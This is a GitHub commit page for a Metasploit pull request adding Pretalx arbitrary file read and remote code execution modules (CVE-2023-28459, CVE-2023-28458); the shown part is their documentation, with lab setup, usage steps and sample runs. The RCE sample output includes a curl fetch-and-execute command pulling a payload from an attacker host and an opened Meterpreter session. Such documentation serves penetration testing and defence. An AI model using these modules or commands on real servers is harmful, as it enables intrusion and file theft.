Skip to content

Commit f1dffd3

Browse files
bwatters-r7bwatters-r7
authored
Merge pull request #20480 from msutovsky-r7/exploit/pretalx/file-rw
Adds modules for Pretalx File Read/Limited File Write (CVE-2023-28459, CVE-2023-28458)
2 parents df86d1b + f43b141 commit f1dffd3

File tree

6 files changed

+1146
-0
lines changed

6 files changed

+1146
-0
lines changed

‎documentation/modules/auxiliary/scanner/http/pretalx_file_read_cve_2023_28459.md

Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
## Vulnerable Application
2+
3+
Pretalx is a web-based conference planning tool, used to manage call for paper submissions, talk selection and so on. It used by many major IT conferences - such as OffensiveCon, Hexacon,... Versions 2.3.1 and prior are vulnerable to arbitrary file read, which exploits unsanitized path in schedule export. The module requires set of credentials of Pretalx user and Pretalx needs to have existing conference, where the attacker can submit malicious proposal.
4+
5+
Installation steps:
6+
7+
1. `git clone https://github.com/pretalx/pretalx-docker.git`
8+
1. Change content of `Dockerfile`:
9+
```
10+
FROM python:3.10-bookworm
11+
12+
RUN apt-get update && \
13+
apt-get install -y git gettext libmariadb-dev libpq-dev locales libmemcached-dev build-essential \
14+
supervisor \
15+
sudo \
16+
locales \
17+
--no-install-recommends && \
18+
apt-get clean && \
19+
rm -rf /var/lib/apt/lists/* && \
20+
dpkg-reconfigure locales && \
21+
locale-gen C.UTF-8 && \
22+
/usr/sbin/update-locale LANG=C.UTF-8 && \
23+
mkdir /etc/pretalx && \
24+
mkdir /data && \
25+
mkdir /public && \
26+
groupadd -g 999 pretalxuser && \
27+
useradd -r -u 999 -g pretalxuser -d /pretalx -ms /bin/bash pretalxuser && \
28+
echo 'pretalxuser ALL=(ALL) NOPASSWD:SETENV: /usr/bin/supervisord' >> /etc/sudoers
29+
30+
ENV LC_ALL=C.UTF-8
31+
32+
33+
COPY pretalx/pyproject.toml /pretalx
34+
COPY pretalx/src /pretalx/src
35+
COPY deployment/docker/pretalx.bash /usr/local/bin/pretalx
36+
COPY deployment/docker/supervisord.conf /etc/supervisord.conf
37+
38+
RUN pip3 install -U pip setuptools wheel typing && \
39+
pip3 install -e /pretalx/[mysql,postgres,redis] && \
40+
pip3 install pylibmc && \
41+
pip3 install gunicorn && \
42+
chmod -R 777 /public
43+
44+
45+
RUN python3 -m pretalx makemigrations
46+
RUN python3 -m pretalx migrate
47+
48+
RUN apt-get update && \
49+
apt-get install -y curl && \
50+
curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
51+
apt install nodejs npm && \
52+
apt-get clean && \
53+
rm -rf /var/lib/apt/lists/* && \
54+
python3 -m pretalx rebuild
55+
56+
RUN chmod +x /usr/local/bin/pretalx && \
57+
cd /pretalx/src && \
58+
rm -f pretalx.cfg && \
59+
chown -R pretalxuser:pretalxuser /pretalx /data /public && \
60+
rm -f /pretalx/src/data/.secret && \
61+
cat /public/static/CACHE/css/main.* >> /pretalx/src/static.dist/common/scss/uncompressed.css && \
62+
cat /public/static/CACHE/css/main.* >> /pretalx/src/pretalx/static/common/scss/uncompressed.css && \
63+
python3 /pretalx/src/manage.py compress --force
64+
65+
USER pretalxuser
66+
VOLUME ["/etc/pretalx", "/data", "/public"]
67+
EXPOSE 80
68+
ENTRYPOINT ["pretalx"]
69+
CMD ["all"]
70+
```
71+
1. Change content of `docker-compose.yml` to following:
72+
```
73+
services:
74+
pretalx:
75+
image: pretalx/standalone:v2.3.1
76+
# image: pretalx/dev
77+
# build: .
78+
container_name: pretalx
79+
restart: unless-stopped
80+
depends_on:
81+
- redis
82+
- db
83+
environment:
84+
# Hint: Make sure you serve all requests for the `/static/` and `/media/` paths when debug is False. See [installation](https://docs.pretalx.org/administrator/installation/#step-7-ssl) for more information
85+
PRETALX_FILESYSTEM_MEDIA: /public/media
86+
PRETALX_FILESYSTEM_STATIC: /public/static
87+
ports:
88+
- "80:80"
89+
volumes:
90+
- ./conf/pretalx.cfg:/etc/pretalx/pretalx.cfg:ro
91+
- pretalx-data:/data
92+
- pretalx-public:/public
93+
94+
db:
95+
image: docker.io/library/postgres:15-alpine
96+
container_name: pretalx-db
97+
restart: unless-stopped
98+
volumes:
99+
- pretalx-database:/var/lib/postgresql/data
100+
environment:
101+
POSTGRES_PASSWORD: veryunsecureplschange # same password as one that you will put in pretalx.cfg file later on
102+
POSTGRES_USER: pretalx
103+
POSTGRES_DB: pretalx
104+
105+
redis:
106+
image: redis:latest
107+
container_name: pretalx-redis
108+
restart: unless-stopped
109+
volumes:
110+
- pretalx-redis:/data
111+
112+
volumes:
113+
pretalx-database:
114+
pretalx-data:
115+
pretalx-public:
116+
pretalx-redis:
117+
```
118+
1. `sudo docker-compose up`
119+
1. Setup username and password - `sudo docker exec -it pretalx pretalx init`
120+
1. Go to `orga/event/`
121+
1. Create new conference
122+
1. Go to `orga/event/[conference name]/schedule/rooms/`
123+
1. Create a room
124+
1. Go to `orga/event/[conference name]/`
125+
1. Make conference go live
126+
1. `sudo docker exec -u 0 -it pretalx /bin/bash`
127+
1. Make sure you have correct right on `/data` folder, so `pretalx` user can write export there
128+
129+
130+
## Verification Steps
131+
132+
1. Install the application
133+
1. Start msfconsole
134+
1. Do: `use auxiliary/scanner/http/pretalx_file_read_cve_2023_28459`
135+
1. Do: `set CONFERENCE_NAME [conference name]`
136+
1. Do: `set EMAIL [user email]`
137+
1. Do: `set PASSWORD [password]`
138+
1. Do: `set RHOSTS [target IP address]`
139+
1. Do: `run`
140+
141+
## Options
142+
143+
### CONFERENCE_NAME
144+
145+
The slug (shortcut) name of the conference. The module requires existing conference, where an attacker can submit malicious proposal (e.g. conference-secret-2025)
146+
147+
### FILEPATH
148+
Absolute path to the target file.
149+
150+
### MEDIA_URL
151+
152+
Pretalx uses path to `media` folder, which is used as prepend to target file path to achieve arbitrary file read. The default value is `/media`, however, it can be modified by user.
153+
154+
### EMAIL
155+
156+
Email of Pretalx user that can approve proposals and release schedule.
157+
158+
### PASSWORD
159+
160+
Password of Pretalx user that can approve proposals and release schedule.
161+
162+
## Scenarios
163+
```
164+
msf auxiliary(scanner/http/pretalx_file_read_cve_2023_28459) > run verbose=true
165+
[*] Running automatic check ("set AutoCheck false" to disable)
166+
[+] The target appears to be vulnerable. Detected vulnerable version 2.3.1
167+
[*] Register malicious proposal
168+
[*] Logging with credentials: [username]/[password]
169+
[*] Approving proposal
170+
[*] Adding h85WcLe4t4 to schedule
171+
[*] Releasing schedule
172+
[*] Trying to extract target file
173+
[*] Extraction successful
174+
[*] Stored results in /home/ms/.msf4/loot/20250725165914_default_192.168.168.146_pretalx.etcpas_473038.txt
175+
[*] Scanned 1 of 1 hosts (100% complete)
176+
[*] Auxiliary module execution completed
177+
```

‎documentation/modules/exploit/linux/http/pretalx_rce_cve_2023_28458.md

Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
## Vulnerable Application
2+
3+
Pretalx is a web-based conference planning tool, used to manage call for paper submissions, talk selection and so on. It used by many major IT conferences - such as OffensiveCon, Hexacon,... Versions 2.3.1 and prior are vulnerable to arbitrary file read, which exploits unsanitized path in schedule export. The module requires set of credentials of Pretalx user and Pretalx needs to have existing conference, where the attacker can submit malicious proposal.
4+
5+
Installation steps:
6+
7+
1. `git clone https://github.com/pretalx/pretalx-docker.git`
8+
1. Change content of `Dockerfile`:
9+
```
10+
FROM python:3.10-bookworm
11+
12+
RUN apt-get update && \
13+
apt-get install -y git gettext libmariadb-dev libpq-dev locales libmemcached-dev build-essential \
14+
supervisor \
15+
sudo \
16+
locales \
17+
--no-install-recommends && \
18+
apt-get clean && \
19+
rm -rf /var/lib/apt/lists/* && \
20+
dpkg-reconfigure locales && \
21+
locale-gen C.UTF-8 && \
22+
/usr/sbin/update-locale LANG=C.UTF-8 && \
23+
mkdir /etc/pretalx && \
24+
mkdir /data && \
25+
mkdir /public && \
26+
groupadd -g 999 pretalxuser && \
27+
useradd -r -u 999 -g pretalxuser -d /pretalx -ms /bin/bash pretalxuser && \
28+
echo 'pretalxuser ALL=(ALL) NOPASSWD:SETENV: /usr/bin/supervisord' >> /etc/sudoers
29+
30+
ENV LC_ALL=C.UTF-8
31+
32+
33+
COPY pretalx/pyproject.toml /pretalx
34+
COPY pretalx/src /pretalx/src
35+
COPY deployment/docker/pretalx.bash /usr/local/bin/pretalx
36+
COPY deployment/docker/supervisord.conf /etc/supervisord.conf
37+
38+
RUN pip3 install -U pip setuptools wheel typing && \
39+
pip3 install -e /pretalx/[mysql,postgres,redis] && \
40+
pip3 install pylibmc && \
41+
pip3 install gunicorn && \
42+
chmod -R 777 /public
43+
44+
45+
RUN python3 -m pretalx makemigrations
46+
RUN python3 -m pretalx migrate
47+
48+
RUN apt-get update && \
49+
apt-get install -y curl && \
50+
curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
51+
apt install nodejs npm && \
52+
apt-get clean && \
53+
rm -rf /var/lib/apt/lists/* && \
54+
python3 -m pretalx rebuild
55+
56+
RUN chmod +x /usr/local/bin/pretalx && \
57+
cd /pretalx/src && \
58+
rm -f pretalx.cfg && \
59+
chown -R pretalxuser:pretalxuser /pretalx /data /public && \
60+
rm -f /pretalx/src/data/.secret && \
61+
cat /public/static/CACHE/css/main.* >> /pretalx/src/static.dist/common/scss/uncompressed.css && \
62+
cat /public/static/CACHE/css/main.* >> /pretalx/src/pretalx/static/common/scss/uncompressed.css && \
63+
python3 /pretalx/src/manage.py compress --force
64+
65+
USER pretalxuser
66+
VOLUME ["/etc/pretalx", "/data", "/public"]
67+
EXPOSE 80
68+
ENTRYPOINT ["pretalx"]
69+
CMD ["all"]
70+
```
71+
1. Change content of `docker-compose.yml` to following:
72+
```
73+
services:
74+
pretalx:
75+
image: pretalx/standalone:v2.3.1
76+
# image: pretalx/dev
77+
# build: .
78+
container_name: pretalx
79+
restart: unless-stopped
80+
depends_on:
81+
- redis
82+
- db
83+
environment:
84+
# Hint: Make sure you serve all requests for the `/static/` and `/media/` paths when debug is False. See [installation](https://docs.pretalx.org/administrator/installation/#step-7-ssl) for more information
85+
PRETALX_FILESYSTEM_MEDIA: /public/media
86+
PRETALX_FILESYSTEM_STATIC: /public/static
87+
ports:
88+
- "80:80"
89+
volumes:
90+
- ./conf/pretalx.cfg:/etc/pretalx/pretalx.cfg:ro
91+
- pretalx-data:/data
92+
- pretalx-public:/public
93+
94+
db:
95+
image: docker.io/library/postgres:15-alpine
96+
container_name: pretalx-db
97+
restart: unless-stopped
98+
volumes:
99+
- pretalx-database:/var/lib/postgresql/data
100+
environment:
101+
POSTGRES_PASSWORD: veryunsecureplschange # same password as one that you will put in pretalx.cfg file later on
102+
POSTGRES_USER: pretalx
103+
POSTGRES_DB: pretalx
104+
105+
redis:
106+
image: redis:latest
107+
container_name: pretalx-redis
108+
restart: unless-stopped
109+
volumes:
110+
- pretalx-redis:/data
111+
112+
volumes:
113+
pretalx-database:
114+
pretalx-data:
115+
pretalx-public:
116+
pretalx-redis:
117+
```
118+
1. `sudo docker-compose up`
119+
1. Setup username and password - `sudo docker exec -it pretalx pretalx init`
120+
1. Go to `orga/event/`
121+
1. Create new conference
122+
1. Go to `orga/event/[conference name]/schedule/rooms/`
123+
1. Create a room
124+
1. Go to `orga/event/[conference name]/`
125+
1. Make conference go live
126+
1. `sudo docker exec -u 0 -it pretalx /bin/bash`
127+
1. Make sure you have correct right on `/data` folder, so `pretalx` user can write export there
128+
129+
130+
## Verification Steps
131+
132+
1. Install the application
133+
1. Start msfconsole
134+
1. Do: `use exploit/linux/http/pretalx_rce_cve_2023_28458`
135+
1. Do: `set CONFERENCE_NAME [conference name]`
136+
1. Do: `set EMAIL [user email]`
137+
1. Do: `set PASSWORD [password]`
138+
1. Do: `set PYTHON_VERSION [running Python version - e.g. python3.8]`
139+
1. Do: `set RHOSTS [target IP address]`
140+
1. Do: `run`
141+
1. Wait for shell to be spawned by *cron* (or run `docker exec -it pretalx pretalx runperiodic`)
142+
143+
## Options
144+
145+
### CONFERENCE_NAME
146+
147+
The slug (shortcut) name of the conference. The module requires existing conference, where an attacker can submit malicious proposal (e.g. conference-secret-2025)
148+
149+
### PYTHON_VERSION
150+
151+
The module needs to know running python version to be able to properly select a directory for malicious hook.
152+
153+
### EMAIL
154+
155+
Email of Pretalx user that can approve proposals and release schedule.
156+
157+
### PASSWORD
158+
159+
Password of Pretalx user that can approve proposals and release schedule.
160+
161+
## Scenarios
162+
```
163+
msf exploit(linux/http/pretalx_rce_cve_2023_28458) > run verbose=true
164+
[*] Command to run on remote host: curl -so ./SeHhGRHU http://192.168.168.128:8888/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./SeHhGRHU;./SeHhGRHU&
165+
[*] Fetch handler listening on 192.168.168.128:8888
166+
[*] HTTP server started
167+
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ
168+
[*] Started reverse TCP handler on 192.168.168.128:4444
169+
[*] Running automatic check ("set AutoCheck false" to disable)
170+
[+] The target appears to be vulnerable. Detected vulnerable version 2.3.1 and debug mode is enabled
171+
[*] Registering malicious speaker and proposal
172+
[*] Logging with credentials: [email protected]/kali
173+
[*] Approving proposal
174+
[*] Uploading resource with payload
175+
[*] Inserts write primitve
176+
[*] Adding proposal to schedule
177+
[*] Releasing schedule
178+
[*] Exporting schedule
179+
[*] Waiting for cron to run Python under Pretalx user
180+
[*] Client 192.168.168.146 requested /Q7JGOkCYlO14PhxIQeJRIQ
181+
[*] Sending payload to 192.168.168.146 (curl/7.74.0)
182+
[*] Transmitting intermediate stager...(126 bytes)
183+
[*] Sending stage (3090404 bytes) to 192.168.168.146
184+
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:48816) at 2025-08-22 15:15:28 +0200
185+
186+
meterpreter > sysinfo
187+
Computer : 172.18.0.4
188+
OS : Debian 11.2 (Linux 6.8.0-60-generic)
189+
Architecture : x64
190+
BuildTuple : x86_64-linux-musl
191+
Meterpreter : x64/linux
192+
meterpreter > getuid
193+
Server username: pretalxuser
194+
195+
```
196+

0 commit comments

Comments
 (0)